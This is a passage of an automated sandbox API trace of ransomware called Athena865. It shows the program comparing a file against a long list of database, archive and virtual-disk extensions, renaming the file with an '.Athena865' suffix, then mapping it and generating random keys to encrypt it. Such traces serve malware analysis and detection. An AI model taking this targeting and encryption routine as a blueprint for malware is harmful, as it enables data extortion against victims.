4 [0061.494] lstrcmpiW (lpString1="Office32WW.msi", lpString2=".dll") returned 1 [0061.494] lstrlenW (lpString=".lnk") returned 4 [0061.494] lstrcmpiW (lpString1="Office32WW.msi", lpString2=".lnk") returned 1 [0061.494] lstrlenW (lpString=".ini") returned 4 [0061.494] lstrcmpiW (lpString1="Office32WW.msi", lpString2=".ini") returned 1 [0061.494] lstrlenW (lpString=".sys") returned 4 [0061.494] lstrcmpiW (lpString1="Office32WW.msi", lpString2=".sys") returned 1 [0061.495] lstrlenW (lpString="Office32WW.msi") returned 14 [0061.495] lstrlenW (lpString="bak") returned 3 [0061.495] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1 [0061.495] lstrlenW (lpString="ba_") returned 3 [0061.495] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1 [0061.495] lstrlenW (lpString="dbb") returned 3 [0061.495] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1 [0061.495] lstrlenW (lpString="vmdk") returned 4 [0061.495] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1 [0061.495] lstrlenW (lpString="rar") returned 3 [0061.495] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1 [0061.495] lstrlenW (lpString="zip") returned 3 [0061.495] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1 [0061.495] lstrlenW (lpString="tgz") returned 3 [0061.495] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1 [0061.495] lstrlenW (lpString="vbox") returned 4 [0061.495] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1 [0061.495] lstrlenW (lpString="vdi") returned 3 [0061.495] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1 [0061.495] lstrlenW (lpString="vhd") returned 3 [0061.495] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1 [0061.495] lstrlenW (lpString="vhdx") returned 4 [0061.495] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1 [0061.495] lstrlenW (lpString="avhd") returned 4 [0061.495] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1 [0061.495] lstrlenW (lpString="db") returned 2 [0061.495] lstrcmpiW (lpString1="si", lpString2="db") returned 1 [0061.495] lstrlenW (lpString="db2") returned 3 [0061.495] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1 [0061.495] lstrlenW (lpString="db3") returned 3 [0061.495] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1 [0061.495] lstrlenW (lpString="dbf") returned 3 [0061.495] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1 [0061.496] lstrlenW (lpString="mdf") returned 3 [0061.496] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1 [0061.496] lstrlenW (lpString="mdb") returned 3 [0061.496] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1 [0061.496] lstrlenW (lpString="sql") returned 3 [0061.496] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1 [0061.496] lstrlenW (lpString="sqlite") returned 6 [0061.496] lstrcmpiW (lpString1="WW.msi", lpString2="sqlite") returned 1 [0061.496] lstrlenW (lpString="sqlite3") returned 7 [0061.496] lstrcmpiW (lpString1="2WW.msi", lpString2="sqlite3") returned -1 [0061.496] lstrlenW (lpString="sqlitedb") returned 8 [0061.496] lstrcmpiW (lpString1="32WW.msi", lpString2="sqlitedb") returned -1 [0061.496] lstrlenW (lpString="xml") returned 3 [0061.496] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1 [0061.496] lstrlenW (lpString="$er") returned 3 [0061.496] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1 [0061.496] lstrlenW (lpString="4dd") returned 3 [0061.496] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1 [0061.496] lstrlenW (lpString="4dl") returned 3 [0061.496] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1 [0061.496] lstrlenW (lpString="^^^") returned 3 [0061.496] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1 [0061.496] lstrlenW (lpString="abs") returned 3 [0061.496] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1 [0061.496] lstrlenW (lpString="abx") returned 3 [0061.496] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1 [0061.496] lstrlenW (lpString="accdb") returned 5 [0061.496] lstrcmpiW (lpString1="W.msi", lpString2="accdb") returned 1 [0061.496] lstrlenW (lpString="accdc") returned 5 [0061.496] lstrcmpiW (lpString1="W.msi", lpString2="accdc") returned 1 [0061.496] lstrlenW (lpString="accde") returned 5 [0061.496] lstrcmpiW (lpString1="W.msi", lpString2="accde") returned 1 [0061.496] lstrlenW (lpString="accdr") returned 5 [0061.496] lstrcmpiW (lpString1="W.msi", lpString2="accdr") returned 1 [0061.497] lstrlenW (lpString="accdt") returned 5 [0061.497] lstrcmpiW (lpString1="W.msi", lpString2="accdt") returned 1 [0061.497] lstrlenW (lpString="accdw") returned 5 [0061.497] lstrcmpiW (lpString1="W.msi", lpString2="accdw") returned 1 [0061.497] lstrlenW (lpString="accft") returned 5 [0061.497] lstrcmpiW (lpString1="W.msi", lpString2="accft") returned 1 [0061.497] lstrlenW (lpString="adb") returned 3 [0061.497] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0061.497] lstrlenW (lpString="adb") returned 3 [0061.497] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0061.497] lstrlenW (lpString="ade") returned 3 [0061.497] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1 [0061.497] lstrlenW (lpString="adf") returned 3 [0061.497] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1 [0061.497] lstrlenW (lpString="adn") returned 3 [0061.497] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1 [0061.497] lstrlenW (lpString="adp") returned 3 [0061.497] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1 [0061.497] lstrlenW (lpString="alf") returned 3 [0061.497] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1 [0061.497] lstrlenW (lpString="ask") returned 3 [0061.497] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1 [0061.497] lstrlenW (lpString="btr") returned 3 [0061.497] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1 [0061.497] lstrlenW (lpString="cat") returned 3 [0061.497] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1 [0061.497] lstrlenW (lpString="cdb") returned 3 [0061.497] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1 [0061.497] lstrlenW (lpString="ckp") returned 3 [0061.497] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1 [0061.497] lstrlenW (lpString="cma") returned 3 [0061.497] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1 [0061.497] lstrlenW (lpString="cpd") returned 3 [0061.498] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1 [0061.498] lstrlenW (lpString="dacpac") returned 6 [0061.498] lstrcmpiW (lpString1="WW.msi", lpString2="dacpac") returned 1 [0061.498] lstrlenW (lpString="dad") returned 3 [0061.498] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1 [0061.498] lstrlenW (lpString="dadiagrams") returned 10 [0061.498] lstrcmpiW (lpString1="ce32WW.msi", lpString2="dadiagrams") returned -1 [0061.498] lstrlenW (lpString="daschema") returned 8 [0061.498] lstrcmpiW (lpString1="32WW.msi", lpString2="daschema") returned -1 [0061.498] lstrlenW (lpString="db-journal") returned 10 [0061.498] lstrcmpiW (lpString1="ce32WW.msi", lpString2="db-journal") returned -1 [0061.498] lstrlenW (lpString="db-shm") returned 6 [0061.498] lstrcmpiW (lpString1="WW.msi", lpString2="db-shm") returned 1 [0061.498] lstrlenW (lpString="db-wal") returned 6 [0061.498] lstrcmpiW (lpString1="WW.msi", lpString2="db-wal") returned 1 [0061.498] lstrlenW (lpString="dbc") returned 3 [0061.498] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1 [0061.498] lstrlenW (lpString="dbs") returned 3 [0061.498] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1 [0061.498] lstrlenW (lpString="dbt") returned 3 [0061.498] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1 [0061.498] lstrlenW (lpString="dbv") returned 3 [0061.498] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1 [0061.498] lstrlenW (lpString="dbx") returned 3 [0061.498] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1 [0061.498] lstrlenW (lpString="dcb") returned 3 [0061.498] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1 [0061.498] lstrlenW (lpString="dct") returned 3 [0061.498] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1 [0061.498] lstrlenW (lpString="dcx") returned 3 [0061.498] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1 [0061.498] lstrlenW (lpString="ddl") returned 3 [0061.498] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1 [0061.499] lstrlenW (lpString="dlis") returned 4 [0061.499] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1 [0061.499] lstrlenW (lpString="dp1") returned 3 [0061.499] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1 [0061.499] lstrlenW (lpString="dqy") returned 3 [0061.499] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1 [0061.499] lstrlenW (lpString="dsk") returned 3 [0061.499] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1 [0061.499] lstrlenW (lpString="dsn") returned 3 [0061.499] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1 [0061.499] lstrlenW (lpString="dtsx") returned 4 [0061.499] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1 [0061.499] lstrlenW (lpString="dxl") returned 3 [0061.499] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1 [0061.499] lstrlenW (lpString="eco") returned 3 [0061.499] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1 [0061.499] lstrlenW (lpString="ecx") returned 3 [0061.499] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1 [0061.499] lstrlenW (lpString="edb") returned 3 [0061.499] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1 [0061.499] lstrlenW (lpString="epim") returned 4 [0061.499] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1 [0061.499] lstrlenW (lpString="fcd") returned 3 [0061.499] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1 [0061.499] lstrlenW (lpString="fdb") returned 3 [0061.499] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1 [0061.499] lstrlenW (lpString="fic") returned 3 [0061.499] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1 [0061.499] lstrlenW (lpString="flexolibrary") returned 12 [0061.499] lstrcmpiW (lpString1="fice32WW.msi", lpString2="flexolibrary") returned -1 [0061.499] lstrlenW (lpString="fm5") returned 3 [0061.499] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1 [0061.499] lstrlenW (lpString="fmp") returned 3 [0061.500] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1 [0061.500] lstrlenW (lpString="fmp12") returned 5 [0061.500] lstrcmpiW (lpString1="W.msi", lpString2="fmp12") returned 1 [0061.500] lstrlenW (lpString="fmpsl") returned 5 [0061.500] lstrcmpiW (lpString1="W.msi", lpString2="fmpsl") returned 1 [0061.500] lstrlenW (lpString="fol") returned 3 [0061.500] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1 [0061.500] lstrlenW (lpString="fp3") returned 3 [0061.500] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1 [0061.500] lstrlenW (lpString="fp4") returned 3 [0061.500] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1 [0061.500] lstrlenW (lpString="fp5") returned 3 [0061.500] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1 [0061.500] lstrlenW (lpString="fp7") returned 3 [0061.500] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1 [0061.500] lstrlenW (lpString="fpt") returned 3 [0061.500] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1 [0061.500] lstrlenW (lpString="frm") returned 3 [0061.500] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1 [0061.500] lstrlenW (lpString="gdb") returned 3 [0061.500] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0061.500] lstrlenW (lpString="gdb") returned 3 [0061.500] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0061.500] lstrlenW (lpString="grdb") returned 4 [0061.500] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1 [0061.500] lstrlenW (lpString="gwi") returned 3 [0061.500] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1 [0061.500] lstrlenW (lpString="hdb") returned 3 [0061.500] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1 [0061.500] lstrlenW (lpString="his") returned 3 [0061.500] lstrcmpiW (lpString1="msi", lpString2="his") returned 1 [0061.500] lstrlenW (lpString="ib") returned 2 [0061.500] lstrcmpiW (lpString1="si", lpString2="ib") returned 1 [0061.500] lstrlenW (lpString="idb") returned 3 [0061.500] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1 [0061.501] lstrlenW (lpString="ihx") returned 3 [0061.501] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1 [0061.501] lstrlenW (lpString="itdb") returned 4 [0061.501] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1 [0061.501] lstrlenW (lpString="itw") returned 3 [0061.501] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1 [0061.501] lstrlenW (lpString="jet") returned 3 [0061.501] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1 [0061.501] lstrlenW (lpString="jtx") returned 3 [0061.501] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1 [0061.501] lstrlenW (lpString="kdb") returned 3 [0061.501] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1 [0061.501] lstrlenW (lpString="kexi") returned 4 [0061.501] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1 [0061.501] lstrlenW (lpString="kexic") returned 5 [0061.501] lstrcmpiW (lpString1="W.msi", lpString2="kexic") returned 1 [0061.501] lstrlenW (lpString="kexis") returned 5 [0061.501] lstrcmpiW (lpString1="W.msi", lpString2="kexis") returned 1 [0061.501] lstrlenW (lpString="lgc") returned 3 [0061.501] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1 [0061.501] lstrlenW (lpString="lwx") returned 3 [0061.501] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1 [0061.501] lstrlenW (lpString="maf") returned 3 [0061.501] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1 [0061.501] lstrlenW (lpString="maq") returned 3 [0061.501] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1 [0061.501] lstrlenW (lpString="mar") returned 3 [0061.501] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1 [0061.501] lstrlenW (lpString="marshal") returned 7 [0061.501] lstrcmpiW (lpString1="2WW.msi", lpString2="marshal") returned -1 [0061.501] lstrlenW (lpString="mas") returned 3 [0061.501] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1 [0061.501] lstrlenW (lpString="mav") returned 3 [0061.501] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1 [0061.501] lstrlenW (lpString="maw") returned 3 [0061.501] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1 [0061.502] lstrlenW (lpString="mdbhtml") returned 7 [0061.502] lstrcmpiW (lpString1="2WW.msi", lpString2="mdbhtml") returned -1 [0061.502] lstrlenW (lpString="mdn") returned 3 [0061.502] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1 [0061.502] lstrlenW (lpString="mdt") returned 3 [0061.502] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1 [0061.502] lstrlenW (lpString="mfd") returned 3 [0061.502] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1 [0061.502] lstrlenW (lpString="mpd") returned 3 [0061.502] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1 [0061.502] lstrlenW (lpString="mrg") returned 3 [0061.502] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1 [0061.502] lstrlenW (lpString="mud") returned 3 [0061.502] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1 [0061.502] lstrlenW (lpString="mwb") returned 3 [0061.502] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1 [0061.502] lstrlenW (lpString="myd") returned 3 [0061.502] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1 [0061.502] lstrlenW (lpString="ndf") returned 3 [0061.502] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1 [0061.502] lstrlenW (lpString="nnt") returned 3 [0061.502] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1 [0061.502] lstrlenW (lpString="nrmlib") returned 6 [0061.502] lstrcmpiW (lpString1="WW.msi", lpString2="nrmlib") returned 1 [0061.502] lstrlenW (lpString="ns2") returned 3 [0061.502] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1 [0061.502] lstrlenW (lpString="ns3") returned 3 [0061.502] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1 [0061.502] lstrlenW (lpString="ns4") returned 3 [0061.502] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1 [0061.502] lstrlenW (lpString="nsf") returned 3 [0061.502] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1 [0061.502] lstrlenW (lpString="nv") returned 2 [0061.502] lstrcmpiW (lpString1="si", lpString2="nv") returned 1 [0061.503] lstrlenW (lpString="nv2") returned 3 [0061.503] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1 [0061.503] lstrlenW (lpString="nwdb") returned 4 [0061.503] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1 [0061.503] lstrlenW (lpString="nyf") returned 3 [0061.503] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1 [0061.503] lstrlenW (lpString="odb") returned 3 [0061.503] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0061.503] lstrlenW (lpString="odb") returned 3 [0061.503] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0061.503] lstrlenW (lpString="oqy") returned 3 [0061.503] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1 [0061.503] lstrlenW (lpString="ora") returned 3 [0061.503] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1 [0061.503] lstrlenW (lpString="orx") returned 3 [0061.503] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1 [0061.503] lstrlenW (lpString="owc") returned 3 [0061.503] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1 [0061.503] lstrlenW (lpString="p96") returned 3 [0061.503] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1 [0061.503] lstrlenW (lpString="p97") returned 3 [0061.503] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1 [0061.503] lstrlenW (lpString="pan") returned 3 [0061.503] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1 [0061.503] lstrlenW (lpString="pdb") returned 3 [0061.503] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1 [0061.503] lstrlenW (lpString="pdm") returned 3 [0061.503] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1 [0061.503] lstrlenW (lpString="pnz") returned 3 [0061.503] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1 [0061.503] lstrlenW (lpString="qry") returned 3 [0061.503] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1 [0061.503] lstrlenW (lpString="qvd") returned 3 [0061.503] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1 [0061.503] lstrlenW (lpString="rbf") returned 3 [0061.504] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1 [0061.504] lstrlenW (lpString="rctd") returned 4 [0061.504] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1 [0061.504] lstrlenW (lpString="rod") returned 3 [0061.504] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1 [0061.504] lstrlenW (lpString="rodx") returned 4 [0061.504] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1 [0061.504] lstrlenW (lpString="rpd") returned 3 [0061.504] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1 [0061.504] lstrlenW (lpString="rsd") returned 3 [0061.504] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1 [0061.504] lstrlenW (lpString="sas7bdat") returned 8 [0061.504] lstrcmpiW (lpString1="32WW.msi", lpString2="sas7bdat") returned -1 [0061.504] lstrlenW (lpString="sbf") returned 3 [0061.504] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1 [0061.504] lstrlenW (lpString="scx") returned 3 [0061.504] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1 [0061.504] lstrlenW (lpString="sdb") returned 3 [0061.504] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1 [0061.504] lstrlenW (lpString="sdc") returned 3 [0061.504] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1 [0061.504] lstrlenW (lpString="sdf") returned 3 [0061.504] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1 [0061.504] lstrlenW (lpString="sis") returned 3 [0061.504] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1 [0061.504] lstrlenW (lpString="spq") returned 3 [0061.504] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1 [0061.504] lstrlenW (lpString="te") returned 2 [0061.504] lstrcmpiW (lpString1="si", lpString2="te") returned -1 [0061.504] lstrlenW (lpString="teacher") returned 7 [0061.504] lstrcmpiW (lpString1="2WW.msi", lpString2="teacher") returned -1 [0061.504] lstrlenW (lpString="tmd") returned 3 [0061.504] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1 [0061.504] lstrlenW (lpString="tps") returned 3 [0061.504] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1 [0061.505] lstrlenW (lpString="trc") returned 3 [0061.505] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0061.505] lstrlenW (lpString="trc") returned 3 [0061.505] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0061.505] lstrlenW (lpString="trm") returned 3 [0061.505] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1 [0061.505] lstrlenW (lpString="udb") returned 3 [0061.505] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1 [0061.505] lstrlenW (lpString="udl") returned 3 [0061.505] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1 [0061.505] lstrlenW (lpString="usr") returned 3 [0061.505] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1 [0061.505] lstrlenW (lpString="v12") returned 3 [0061.505] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1 [0061.505] lstrlenW (lpString="vis") returned 3 [0061.505] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1 [0061.505] lstrlenW (lpString="vpd") returned 3 [0061.505] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1 [0061.505] lstrlenW (lpString="vvv") returned 3 [0061.505] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1 [0061.505] lstrlenW (lpString="wdb") returned 3 [0061.505] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1 [0061.505] lstrlenW (lpString="wmdb") returned 4 [0061.505] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1 [0061.505] lstrlenW (lpString="wrk") returned 3 [0061.505] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1 [0061.505] lstrlenW (lpString="xdb") returned 3 [0061.505] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1 [0061.505] lstrlenW (lpString="xld") returned 3 [0061.505] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1 [0061.505] lstrlenW (lpString="xmlff") returned 5 [0061.505] lstrcmpiW (lpString1="W.msi", lpString2="xmlff") returned -1 [0061.505] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.Athena865") returned 87 [0061.505] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.athena865"), dwFlags=0x1) returned 1 [0061.540] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0061.540] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1992192) returned 1 [0061.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0061.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0061.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0061.541] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519090) returned 1 [0061.541] CryptGenRandom (in: hProv=0x519090, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0061.541] CryptReleaseContext (hProv=0x519090, dwFlags=0x0) returned 1 [0061.541] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e6900, lpName=0x0) returned 0x17c [0061.544] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e6900) returned 0x2d50000 [0061.653] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519090) returned 1 [0061.654] CryptGenRandom (in: hProv=0x519090, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0061.654] CryptReleaseContext (hProv=0x519090, dwFlags=0x0) returned 1 [0061.654] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0061.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0061.654] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0061.654] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0061.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0061.654] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0061.654] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0061.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0061.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0061.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0061.654] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0061.677] CloseHandle (hObject=0x17c) returned 1 [0061.677] CloseHandle (hObject=0x154) returned 1 [0061.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0061.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0061.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0061.687] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0061.687] lstrcmpiW (lpString1="Office32WW.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0061.687] lstrcmpiW (lpString1="Office32WW.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0061.687] lstrcmpiW (lpString1="Office32WW.xml", lpString2=".") returned 1 [0061.687] lstrcmpiW (lpString1="Office32WW.xml", lpString2="..") returned 1 [0061.687] lstrcmpiW (lpString1="Office32WW.xml", lpString2="windows") returned -1 [0061.687] lstrcmpiW (lpString1="Office32WW.xml", 